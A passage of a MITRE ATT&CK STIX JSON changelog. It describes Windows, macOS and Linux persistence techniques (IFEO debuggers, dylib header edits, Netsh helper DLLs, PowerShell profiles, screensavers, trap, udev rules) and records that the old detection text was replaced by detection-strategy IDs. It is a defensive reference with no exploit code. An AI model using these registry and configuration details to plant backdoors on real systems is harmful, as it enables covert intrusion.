"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0555: Detection Strategy for Event Triggered Execution via emond on macOS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 15:05:58.384000+00:00",
"modified": "2025-10-24 17:48:55.526000+00:00",
"name": "Image File Execution Options Injection",
"description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/012",
"external_id": "T1546.012"
},
{
"source_name": "FSecure Hupigon",
"description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
"url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"source_name": "Microsoft Silent Process Exit NOV 2017",
"description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
"url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit"
},
{
"source_name": "Microsoft GFlags Mar 2017",
"description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
"url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview"
},
{
"source_name": "Oddvar Moe IFEO APR 2018",
"description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
"url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/"
},
{
"source_name": "Microsoft Dev Blog IFEO Mar 2010",
"description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
"url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
},
{
"source_name": "Symantec Ushedix June 2008",
"description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
"url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
},
{
"source_name": "Tilbury 2014",
"description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Oddvar Moe, @oddvarmoe"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.526000+00:00\", \"old_value\": \"2025-04-15 19:58:39.823000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\\n\\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\\n-\\n-Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0422: Detection Strategy for IFEO Injection on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 14:21:52.750000+00:00",
"modified": "2025-10-24 17:48:25.182000+00:00",
"name": "LC_LOAD_DYLIB Addition",
"description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/006",
"external_id": "T1546.006"
},
{
"source_name": "Malware Persistence on OS X",
"description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
},
{
"source_name": "Writing Bad Malware for OSX",
"description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
"url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Metadata\", \"Process: Process Creation\", \"File: File Modification\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.182000+00:00\", \"old_value\": \"2025-04-16 20:37:15.460000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1038: Execution Prevention",
"M1045: Code Signing",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Metadata)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0216: Detection Strategy for LC_LOAD_DYLIB Modification in Mach-O Binaries on macOS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 14:26:51.207000+00:00",
"modified": "2025-10-24 17:49:37.405000+00:00",
"name": "Netsh Helper DLL",
"description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/007",
"external_id": "T1546.007"
},
{
"source_name": "Demaske Netsh Persistence",
"description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.",
"url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html"
},
{
"source_name": "TechNet Netsh",
"description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.",
"url": "https://technet.microsoft.com/library/bb490939.aspx"
},
{
"source_name": "Github Netsh Helper CS Beacon",
"description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.",
"url": "https://github.com/outflankbv/NetshHelperBeacon"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Matthew Demaske, Adaptforward"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.405000+00:00\", \"old_value\": \"2025-04-16 20:37:23.142000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\\\SOFTWARE\\\\Microsoft\\\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0575: Detection Strategy for Netsh Helper DLL Persistence via Registry and Child Process Monitoring (Windows)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 15:11:02.758000+00:00",
"modified": "2025-10-24 17:48:24.124000+00:00",
"name": "PowerShell Profile",
"description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/013",
"external_id": "T1546.013"
},
{
"source_name": "Wits End and Shady PowerShell Profiles",
"description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.",
"url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html"
},
{
"source_name": "ESET Turla PowerShell May 2019",
"description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
"url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"
},
{
"source_name": "Malware Archaeology PowerShell Cheat Sheet",
"description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
"url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
},
{
"source_name": "Microsoft About Profiles",
"description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.",
"url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6"
},
{
"source_name": "Microsoft Profiles",
"description": "Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.",
"url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Allen DeRyke, ICE",
"Matt Green, @mgreen27"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.124000+00:00\", \"old_value\": \"2025-04-15 19:58:06.292000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\\n\\n* $PsHome\\\\Profile.ps1\\n* $PsHome\\\\Microsoft.{HostProgram}_profile.ps1\\n* $Home\\\\\\\\\\\\[My ]Documents\\\\PowerShell\\\\Profile.ps1\\n* $Home\\\\\\\\\\\\[My ]Documents\\\\PowerShell\\\\Microsoft.{HostProgram}_profile.ps1\\n\\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.\", \"diff\": \"--- \\n+++ \\n@@ -1,8 +0,0 @@\\n-Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\\n-\\n-* $PsHome\\\\Profile.ps1\\n-* $PsHome\\\\Microsoft.{HostProgram}_profile.ps1\\n-* $Home\\\\\\\\\\\\[My ]Documents\\\\PowerShell\\\\Profile.ps1\\n-* $Home\\\\\\\\\\\\[My ]Documents\\\\PowerShell\\\\Microsoft.{HostProgram}_profile.ps1\\n-\\n-Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1045: Code Signing",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0451: Detection Strategy for PowerShell Profile Persistence via profile.ps1 Modification"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 13:51:01.210000+00:00",
"modified": "2025-10-24 17:49:24.634000+00:00",
"name": "Screensaver",
"description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/002",
"external_id": "T1546.002"
},
{
"source_name": "ESET Gazer Aug 2017",
"description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
"url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
},
{
"source_name": "Wikipedia Screensaver",
"description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.",
"url": "https://en.wikipedia.org/wiki/Screensaver"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Bartosz Jerzman"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"File: File Creation\", \"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.634000+00:00\", \"old_value\": \"2025-04-16 20:37:21.356000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\\n\\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\\n-\\n-Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1038: Execution Prevention",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0154: Detect Screensaver-Based Persistence via Registry and Execution Chains"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--63220765-d418-44de-8fae-694b3912317d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 14:17:43.906000+00:00",
"modified": "2025-10-24 17:48:51.725000+00:00",
"name": "Trap",
"description": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/005",
"external_id": "T1546.005"
},
{
"source_name": "Trap Manual",
"description": "ss64. (n.d.). trap. Retrieved May 21, 2019.",
"url": "https://ss64.com/bash/trap.html"
},
{
"source_name": "Cyberciti Trap Statements",
"description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.",
"url": "https://bash.cyberciti.biz/guide/Trap_statement"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS",
"Linux"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51.725000+00:00\", \"old_value\": \"2025-04-25 14:46:52.100000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0369: Detection Strategy for Event Triggered Execution via Trap (T1546.005)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f4c3f644-ab33-433d-8648-75cc03a95792",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2024-09-26 17:02:09.888000+00:00",
"modified": "2025-10-24 17:49:37.034000+00:00",
"name": "Udev Rules",
"description": "Adversaries may maintain persistence through executing malicious content triggered using udev rules. Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.(Citation: Ignacio Udev research 2024)(Citation: Elastic Linux Persistence 2024)\n\nAdversaries may abuse the udev subsystem by adding or modifying rules in udev rule files to execute malicious content. For example, an adversary may configure a rule to execute their binary each time the pseudo-device file, such as `/dev/random`, is accessed by an application. Although udev is limited to running short tasks and is restricted by systemd-udevd's sandbox (blocking network and filesystem access), attackers may use scripting commands under the action key `RUN+=` to detach and run the malicious content\u2019s process in the background to bypass these controls.(Citation: Reichert aon sedexp 2024)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/017",
"external_id": "T1546.017"
},
{
"source_name": "Ignacio Udev research 2024",
"description": "Eder P. Ignacio. (2024, February 21). Leveraging Linux udev for persistence. Retrieved September 26, 2024.",
"url": "https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/"
},
{
"source_name": "Elastic Linux Persistence 2024",
"description": "Ruben Groenewoud. (2024, August 29). Linux Detection Engineering - A Sequel on Persistence Mechanisms. Retrieved October 16, 2024.",
"url": "https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms"
},
{
"source_name": "Reichert aon sedexp 2024",
